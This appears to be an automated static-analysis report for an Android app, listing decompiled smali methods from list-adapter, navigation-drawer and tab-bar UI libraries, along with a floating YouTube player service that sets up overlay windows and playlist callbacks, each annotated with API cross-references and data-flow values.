45invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
46return-void
Cross References
APIs
  • java.util.List.size
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.i
  • java.lang.Math.min
  • java.util.List.remove
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(II)",
3"Lcom/mikepenz/a/a/c",
4"<TItem;>;"
5}
6.end annotation
7.prologue
9iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
11invoke-interface {v0}, Ljava/util/List;->size()I
12move-result v0
14invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
15move-result-object v1
17invoke-virtual {v1, p1}, Lcom/mikepenz/a/b;->i(I)I
18move-result v1
19sub-int/2addr v0, p1
20add-int/2addr v0, v1
22invoke-static {p2, v0}, Ljava/lang/Math;->min(II)I
23move-result v2
24const/4 v0, 0x0
25goto_15: if-ge v0, v2, :cond_21
27iget-object v3, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
28sub-int v4, p1, v1
30invoke-interface {v3, v4}, Ljava/util/List;->remove(I)Ljava/lang/Object;
31add-int/lit8 v0, v0, 0x1
32goto/16 :goto_15
33cond_21:
34invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
35move-result-object v0
37invoke-virtual {v0, p1, v2}, Lcom/mikepenz/a/b;->e(II)V
38return-object p0
Cross References
APIs
  • android.widget.ImageView.getContext
  • android.widget.ImageView.setImageDrawable
  • android.widget.ImageView.setVisibility
  • android.widget.ImageView.setImageBitmap
  • android.widget.ImageView.setVisibility
Position Instruction Meta Information
0.prologue
1const/16 v2, 0x8
2const/4 v1, 0x0
3if-eqz p0, :cond_2d
4if-eqz p1, :cond_2d
6invoke-virtual {p1}, Landroid/widget/ImageView;->getContext()Landroid/content/Context;
7move-result-object v0
9invoke-static {p0, v0, p2, p3, p4}, Lcom/mikepenz/materialdrawer/a/d;->a(Lcom/mikepenz/materialdrawer/a/d;Landroid/content/Context;IZI)Landroid/graphics/drawable/Drawable;
10move-result-object v0
11if-eqz v0, :cond_18
13invoke-virtual {p1, v0}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
15invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
16cond_17: return-void
17cond_18:
18invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->c()Landroid/graphics/Bitmap;
19move-result-object v0
20if-eqz v0, :cond_29
22invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/a/d;->c()Landroid/graphics/Bitmap;
23move-result-object v0
25invoke-virtual {p1, v0}, Landroid/widget/ImageView;->setImageBitmap(Landroid/graphics/Bitmap;)V
27invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
28goto/16 :goto_17
29cond_29:
30invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
31goto/16 :goto_17
32cond_2d: if-eqz p1, :cond_17
34invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
35goto/16 :goto_17
Cross References
APIs
  • android.util.SparseIntArray.indexOfKey
  • com.mikepenz.a.b.m
  • com.mikepenz.a.b.e
  • com.mikepenz.a.b.m
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
1move v1, p1
2goto_1: add-int v0, p1, p2
3if-ge v1, v0, :cond_2c
4iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
5if-eqz v0, :cond_18
7iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
9invoke-virtual {v0, v1}, Landroid/util/SparseIntArray;->indexOfKey(I)I
10move-result v0
11if-ltz v0, :cond_14
13invoke-virtual {p0, v1}, Lcom/mikepenz/a/b;->m(I)V
14cond_14: add-int/lit8 v0, v1, 0x1
15move v1, v0
16goto/16 :goto_1
17cond_18:
18invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
19move-result-object v0
20instance-of v2, v0, Lcom/mikepenz/a/e;
21if-eqz v2, :cond_14
22check-cast v0, Lcom/mikepenz/a/e;
24invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
25move-result v0
26if-eqz v0, :cond_14
28invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->m(I)V
29goto/16 :goto_14
30cond_2c: if-nez p3, :cond_3d
32invoke-virtual {p0, p1, p2}, Lcom/mikepenz/a/b;->a(II)V
33goto_31: iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
34if-eqz v0, :cond_3c
35add-int v0, p1, p2
36add-int/lit8 v0, v0, -0x1
38invoke-static {p0, p1, v0}, Lcom/mikepenz/a/d/a;->a(Lcom/mikepenz/a/b;II)V
39cond_3c: return-void
40cond_3d:
41invoke-virtual {p0, p1, p2, p3}, Lcom/mikepenz/a/b;->a(IILjava/lang/Object;)V
42goto/16 :goto_31
Cross References
APIs
  • android.support.v4.view.ah.r
  • android.support.v4.view.ay.a
  • android.support.v4.view.ay.b
Position Instruction Meta Information
0.prologue
1const-wide/16 v0, 0x12c
2const-wide/16 v2, 0x0
4iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
5if-nez v4, :cond_29
7invoke-static {p1}, Landroid/support/v4/view/ah;->r(Landroid/view/View;)Landroid/support/v4/view/ay;
8move-result-object v4
9iput-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
11iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
12if-eqz p2, :cond_27
13goto_12:
14invoke-virtual {v4, v0, v1}, Landroid/support/v4/view/ay;->a(J)Landroid/support/v4/view/ay;
  • Data flow analysis:
    • p0: 300
16iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
17new-instance v1, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;
19invoke-direct {v1, p0, p1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;-><init>(Ldevlight/io/library/behavior/NavigationTabBarBehavior;Ldevlight/io/library/ntb/NavigationTabBar;)V
21invoke-virtual {v0, v1}, Landroid/support/v4/view/ay;->a(Landroid/support/v4/view/be;)Landroid/support/v4/view/ay;
23iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
25sget-object v1, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a:Landroid/view/animation/Interpolator;
27invoke-virtual {v0, v1}, Landroid/support/v4/view/ay;->a(Landroid/view/animation/Interpolator;)Landroid/support/v4/view/ay;
28goto_26: return-void
29cond_27: move-wide v0, v2
30goto/16 :goto_12
31cond_29:
32iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
33if-eqz p2, :cond_36
34goto_2d:
35invoke-virtual {v4, v0, v1}, Landroid/support/v4/view/ay;->a(J)Landroid/support/v4/view/ay;
  • Data flow analysis:
    • p0: 0
37iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b:Landroid/support/v4/view/ay;
39invoke-virtual {v0}, Landroid/support/v4/view/ay;->b()V
40goto/16 :goto_26
41cond_36: move-wide v0, v2
42goto/16 :goto_2d
Cross References
APIs
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/b/a;->b:Ljava/util/List;
4invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
5move-result-object v2
6cond_6:
7invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
8move-result v0
9if-eqz v0, :cond_35
11invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
12move-result-object v0
13check-cast v0, Lcom/mikepenz/a/c/c;
15invoke-interface {v0, p1}, Lcom/mikepenz/a/c/c;->a(Landroid/support/v7/widget/RecyclerView$u;)Landroid/view/View;
16move-result-object v1
17if-eqz v1, :cond_1b
19invoke-virtual {p0, v0, p1, v1}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/c/c;Landroid/support/v7/widget/RecyclerView$u;Landroid/view/View;)V
20cond_1b:
21invoke-interface {v0, p1}, Lcom/mikepenz/a/c/c;->b(Landroid/support/v7/widget/RecyclerView$u;)Ljava/util/List;
22move-result-object v1
23if-eqz v1, :cond_6
25invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
26move-result-object v3
27goto_25:
28invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
29move-result v1
30if-eqz v1, :cond_6
32invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
33move-result-object v1
34check-cast v1, Landroid/view/View;
36invoke-virtual {p0, v0, p1, v1}, Lcom/mikepenz/a/b/a;->a(Lcom/mikepenz/a/c/c;Landroid/support/v7/widget/RecyclerView$u;Landroid/view/View;)V
37goto/16 :goto_25
38cond_35: return-void
Cross References
APIs
  • android.util.SparseIntArray.indexOfKey
  • com.mikepenz.a.b.m
  • com.mikepenz.a.b.n
  • com.mikepenz.a.b.e
  • com.mikepenz.a.b.m
  • com.mikepenz.a.b.n
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
2if-eqz v0, :cond_14
4iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
6invoke-virtual {v0, p1}, Landroid/util/SparseIntArray;->indexOfKey(I)I
7move-result v0
8if-ltz v0, :cond_10
10invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->m(I)V
11goto_f: return-void
12cond_10:
13invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->n(I)V
14goto/16 :goto_f
15cond_14:
16invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
17move-result-object v0
18instance-of v1, v0, Lcom/mikepenz/a/e;
19if-eqz v1, :cond_28
20check-cast v0, Lcom/mikepenz/a/e;
22invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
23move-result v0
24if-eqz v0, :cond_28
26invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->m(I)V
27goto/16 :goto_f
28cond_28:
29invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->n(I)V
30goto/16 :goto_f
Cross References
APIs
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
Strings
  • Starting
  • Playlist.
Position Instruction Meta Information
0.prologue
1sput-object p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->z:Ljava/lang/String;
2sput-object p1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->A:Ljava/lang/String;
3if-nez p1, :cond_13
5invoke-static {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/String;)V
7sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
9invoke-static {p0}, Lcom/pedqaesf/app/player/a;->a(Ljava/lang/String;)Ljava/lang/String;
10move-result-object v0
12invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
13goto_12: return-void
14cond_13:
15const-string v0, "Starting "
17const-string v1, "Playlist."
19invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Starting
    • msg: Playlist.
21sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
23invoke-static {p1}, Lcom/pedqaesf/app/player/a;->b(Ljava/lang/String;)Ljava/lang/String;
24move-result-object v0
26invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
28invoke-static {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/String;)V
29goto/16 :goto_12
APIs
  • java.lang.String.valueOf
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.b
  • com.pedqaesf.app.player.INSYouTubePlayerService.c
Strings
  • Playlist Items
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4const-string v0, "Playlist Items"
5array-length v1, p1
7invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
8move-result-object v1
10invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Playlist Items
11array-length v0, p1
13invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b(I)V
  • Data flow analysis:
    • p0: Playlist Items
15invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->c()V
16return-void
APIs
  • java.lang.String.valueOf
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.c
Strings
  • Current Video Index
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4const-string v0, "Current Video Index "
6invoke-static {p1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
7move-result-object v1
9invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Current Video Index
11invoke-static {p1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->c(I)V
13invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->c()V
14return-void
Cross References
APIs
  • com.mikepenz.a.b.e
  • java.lang.Integer.valueOf
  • java.util.Set.add
  • com.mikepenz.a.b.a_
  • com.mikepenz.a.b.g
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x1
3invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
4move-result-object v0
5if-nez v0, :cond_8
6goto_7: return-void
7cond_8: if-eqz p3, :cond_10
9invoke-interface {v0}, Lcom/mikepenz/a/g;->g()Z
10move-result v1
11if-eqz v1, :cond_7
12cond_10:
13invoke-interface {v0, v3}, Lcom/mikepenz/a/g;->b(Z)Ljava/lang/Object;
14iget-boolean v1, p0, Lcom/mikepenz/a/b;->k:Z
15if-eqz v1, :cond_20
17iget-object v1, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
19invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
20move-result-object v2
22invoke-interface {v1, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
23cond_20:
24invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->a_(I)V
26iget-object v1, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
27if-eqz v1, :cond_2c
29iget-object v1, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
31invoke-interface {v1, v0, v3}, Lcom/mikepenz/a/i;->a(Lcom/mikepenz/a/g;Z)V
32cond_2c:
33iget-object v1, p0, Lcom/mikepenz/a/b;->q:Lcom/mikepenz/a/b$c;
34if-eqz v1, :cond_7
35if-eqz p2, :cond_7
37iget-object v1, p0, Lcom/mikepenz/a/b;->q:Lcom/mikepenz/a/b$c;
38const/4 v2, 0x0
40invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->g(I)Lcom/mikepenz/a/c;
41move-result-object v3
43invoke-interface {v1, v2, v3, v0, p1}, Lcom/mikepenz/a/b$c;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
44goto/16 :goto_7
Cross References
APIs
  • com.mikepenz.a.b.e
  • java.lang.Integer.valueOf
  • java.util.Set.remove
  • com.mikepenz.a.b.a_
  • java.util.Iterator.remove
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I",
3"Ljava/util/Iterator",
4"<",
5"Ljava/lang/Integer;",
6">;)V"
7}
8.end annotation
9.prologue
10const/4 v3, 0x0
12invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
13move-result-object v0
14if-eqz v0, :cond_a
16invoke-interface {v0, v3}, Lcom/mikepenz/a/g;->b(Z)Ljava/lang/Object;
17cond_a: if-nez p2, :cond_26
18iget-boolean v1, p0, Lcom/mikepenz/a/b;->k:Z
19if-eqz v1, :cond_19
21iget-object v1, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
23invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
24move-result-object v2
26invoke-interface {v1, v2}, Ljava/util/Set;->remove(Ljava/lang/Object;)Z
27cond_19:
28invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->a_(I)V
30iget-object v1, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
31if-eqz v1, :cond_25
33iget-object v1, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
35invoke-interface {v1, v0, v3}, Lcom/mikepenz/a/i;->a(Lcom/mikepenz/a/g;Z)V
36cond_25: return-void
37cond_26:
38invoke-interface {p2}, Ljava/util/Iterator;->remove()V
39goto/16 :goto_19
Cross References
APIs
  • com.mikepenz.a.b.a
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • com.mikepenz.a.b.f
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
2iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
3if-eqz v0, :cond_b
5iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
7invoke-virtual {p0, v0}, Lcom/mikepenz/a/b;->a(Ljava/lang/Iterable;)V
8goto_a: return-void
9cond_b:
10invoke-static {p0}, Lcom/mikepenz/a/d/a;->a(Lcom/mikepenz/a/b;)Ljava/util/List;
11move-result-object v0
13invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
14move-result-object v1
15goto_13:
16invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
17move-result v0
18if-eqz v0, :cond_32
20invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
21move-result-object v0
22check-cast v0, Lcom/mikepenz/a/g;
24invoke-interface {v0}, Lcom/mikepenz/a/g;->f()Z
25move-result v2
26if-eqz v2, :cond_13
28invoke-interface {v0, v3}, Lcom/mikepenz/a/g;->b(Z)Ljava/lang/Object;
30iget-object v2, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
31if-eqz v2, :cond_13
33iget-object v2, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
35invoke-interface {v2, v0, v3}, Lcom/mikepenz/a/i;->a(Lcom/mikepenz/a/g;Z)V
36goto/16 :goto_13
37cond_32:
38invoke-virtual {p0}, Lcom/mikepenz/a/b;->f()V
39goto/16 :goto_a
Cross References
APIs
  • android.util.SparseIntArray.<init>
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.e
  • java.util.List.size
  • android.util.SparseIntArray.put
Position Instruction Meta Information
0.prologue
1iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
2if-eqz v0, :cond_7
4iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
5goto_6: return-object v0
6cond_7: new-instance v2, Landroid/util/SparseIntArray;
8invoke-direct {v2}, Landroid/util/SparseIntArray;-><init>()V
9const/4 v0, 0x0
11invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
12move-result v4
13move v3, v0
14goto_12: if-ge v3, v4, :cond_36
16invoke-virtual {p0, v3}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
  • Data flow analysis:
    • p0: 0
17move-result-object v1
18instance-of v0, v1, Lcom/mikepenz/a/e;
19if-eqz v0, :cond_32
20move-object v0, v1
21check-cast v0, Lcom/mikepenz/a/e;
23invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
24move-result v0
25if-eqz v0, :cond_32
26check-cast v1, Lcom/mikepenz/a/e;
28invoke-interface {v1}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
29move-result-object v0
31invoke-interface {v0}, Ljava/util/List;->size()I
32move-result v0
34invoke-virtual {v2, v3, v0}, Landroid/util/SparseIntArray;->put(II)V
35cond_32: add-int/lit8 v0, v3, 0x1
36move v3, v0
37goto/16 :goto_12
38cond_36: move-object v0, v2
39goto/16 :goto_6
Cross References
APIs
  • android.view.WindowManager$LayoutParams.<init>
Position Instruction Meta Information
0.prologue
1const/4 v7, -0x1
2const v4, 0x40208
3const/16 v3, 0x7d2
4const/4 v5, -0x3
5const/4 v1, -0x2
6new-instance v0, Landroid/view/WindowManager$LayoutParams;
7move v2, v1
9invoke-direct/range {v0 .. v5}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
  • Data flow analysis:
    • p2: 2002
    • p3: 262664
10iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->r:Landroid/view/WindowManager$LayoutParams;
11new-instance v0, Landroid/view/WindowManager$LayoutParams;
13invoke-direct {v0, v7, v7}, Landroid/view/WindowManager$LayoutParams;-><init>(II)V
14iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->u:Landroid/view/WindowManager$LayoutParams;
15new-instance v0, Landroid/view/WindowManager$LayoutParams;
16move v2, v1
18invoke-direct/range {v0 .. v5}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
  • Data flow analysis:
    • p2: 2002
    • p3: 262664
19iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
21iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
22const/16 v2, 0x7da
23iput v2, v0, Landroid/view/WindowManager$LayoutParams;->type:I
24new-instance v6, Landroid/view/WindowManager$LayoutParams;
25move v8, v1
26move v9, v3
27move v10, v4
28move v11, v5
30invoke-direct/range {v6 .. v11}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
  • Data flow analysis:
    • p2: 2002
    • p3: 262664
31iput-object v6, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->t:Landroid/view/WindowManager$LayoutParams;
32new-instance v0, Landroid/view/WindowManager$LayoutParams;
33move v2, v1
35invoke-direct/range {v0 .. v5}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
  • Data flow analysis:
    • p2: 2002
    • p3: 262664
36iput-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->s:Landroid/view/WindowManager$LayoutParams;
37return-void
Cross References
APIs
  • android.support.v4.e.b.<init>
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.e
  • java.lang.Integer.valueOf
  • java.util.Set.add
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/Set",
4"<",
5"Ljava/lang/Integer;",
6">;"
7}
8.end annotation
9.prologue
10iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
11if-eqz v0, :cond_7
13iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
14cond_6: return-object v0
15cond_7: new-instance v0, Landroid/support/v4/e/b;
17invoke-direct {v0}, Landroid/support/v4/e/b;-><init>()V
18const/4 v1, 0x0
20invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
21move-result v2
22goto_11: if-ge v1, v2, :cond_6
24invoke-virtual {p0, v1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
  • Data flow analysis:
    • p0: 0
25move-result-object v3
27invoke-interface {v3}, Lcom/mikepenz/a/g;->f()Z
28move-result v3
29if-eqz v3, :cond_24
31invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 0
32move-result-object v3
34invoke-interface {v0, v3}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
35cond_24: add-int/lit8 v1, v1, 0x1
36goto/16 :goto_11
Cross References
APIs
  • com.mikepenz.a.b.g
  • java.util.List.size
  • android.util.SparseIntArray.indexOfKey
  • android.util.SparseIntArray.removeAt
  • com.mikepenz.a.b.a_
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p2}, Lcom/mikepenz/a/b;->g(I)Lcom/mikepenz/a/c;
3move-result-object v0
4if-eqz v0, :cond_19
5instance-of v1, v0, Lcom/mikepenz/a/h;
6if-eqz v1, :cond_19
7check-cast v0, Lcom/mikepenz/a/h;
8add-int/lit8 v1, p2, 0x1
10invoke-interface {p1}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
11move-result-object v2
13invoke-interface {v2}, Ljava/util/List;->size()I
14move-result v2
16invoke-interface {v0, v1, v2}, Lcom/mikepenz/a/h;->a_(II)Lcom/mikepenz/a/h;
17cond_19: const/4 v0, 0x0
19invoke-interface {p1, v0}, Lcom/mikepenz/a/e;->a(Z)Ljava/lang/Object;
20iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
21if-eqz v0, :cond_2e
23iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
25invoke-virtual {v0, p2}, Landroid/util/SparseIntArray;->indexOfKey(I)I
26move-result v0
27if-ltz v0, :cond_2e
29iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
31invoke-virtual {v1, v0}, Landroid/util/SparseIntArray;->removeAt(I)V
32cond_2e: if-eqz p3, :cond_33
34invoke-virtual {p0, p2}, Lcom/mikepenz/a/b;->a_(I)V
35cond_33: return-void
Cross References
APIs
  • android.animation.ObjectAnimator.cancel
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.animation.ObjectAnimator.setDuration
  • android.animation.ObjectAnimator.setInterpolator
  • android.animation.ObjectAnimator.addUpdateListener
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
3if-eqz v0, :cond_9
5iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
7invoke-virtual {v0}, Landroid/animation/ObjectAnimator;->cancel()V
8cond_9:
9invoke-static {p1, p2}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Landroid/view/View;I)Landroid/animation/ObjectAnimator;
10move-result-object v0
11iput-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
13iget-object v2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
14if-eqz p3, :cond_2a
15const-wide/16 v0, 0x12c
16goto_15:
17invoke-virtual {v2, v0, v1}, Landroid/animation/ObjectAnimator;->setDuration(J)Landroid/animation/ObjectAnimator;
  • Data flow analysis:
    • p0: 300
19iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
21sget-object v1, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a:Landroid/view/animation/Interpolator;
23invoke-virtual {v0, v1}, Landroid/animation/ObjectAnimator;->setInterpolator(Landroid/animation/TimeInterpolator;)V
25iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c:Landroid/animation/ObjectAnimator;
26new-instance v1, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;
28invoke-direct {v1, p0, p1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;-><init>(Ldevlight/io/library/behavior/NavigationTabBarBehavior;Ldevlight/io/library/ntb/NavigationTabBar;)V
30invoke-virtual {v0, v1}, Landroid/animation/ObjectAnimator;->addUpdateListener(Landroid/animation/ValueAnimator$AnimatorUpdateListener;)V
31return-void
32cond_2a: const-wide/16 v0, 0x0
33goto/16 :goto_15
Cross References
APIs
  • java.lang.Iterable.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/lang/Iterable",
4"<",
5"Ljava/lang/Integer;",
6">;)V"
7}
8.end annotation
9.prologue
11invoke-interface {p1}, Ljava/lang/Iterable;->iterator()Ljava/util/Iterator;
12move-result-object v1
13goto_4:
14invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
15move-result v0
16if-eqz v0, :cond_18
18invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
19move-result-object v0
20check-cast v0, Ljava/lang/Integer;
22invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
23move-result v0
25invoke-direct {p0, v0, v1}, Lcom/mikepenz/a/b;->a(ILjava/util/Iterator;)V
26goto/16 :goto_4
27cond_18: return-void
Cross References
APIs
  • com.mikepenz.a.a.c
  • android.util.SparseArray.indexOfKey
  • com.mikepenz.a.a.c
  • android.util.SparseArray.put
  • com.mikepenz.a.b.k
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<A:",
3"Lcom/mikepenz/a/a",
4"<TItem;>;>(TA;)V"
5}
6.end annotation
7.prologue
9iget-object v0, p0, Lcom/mikepenz/a/b;->a:Landroid/util/SparseArray;
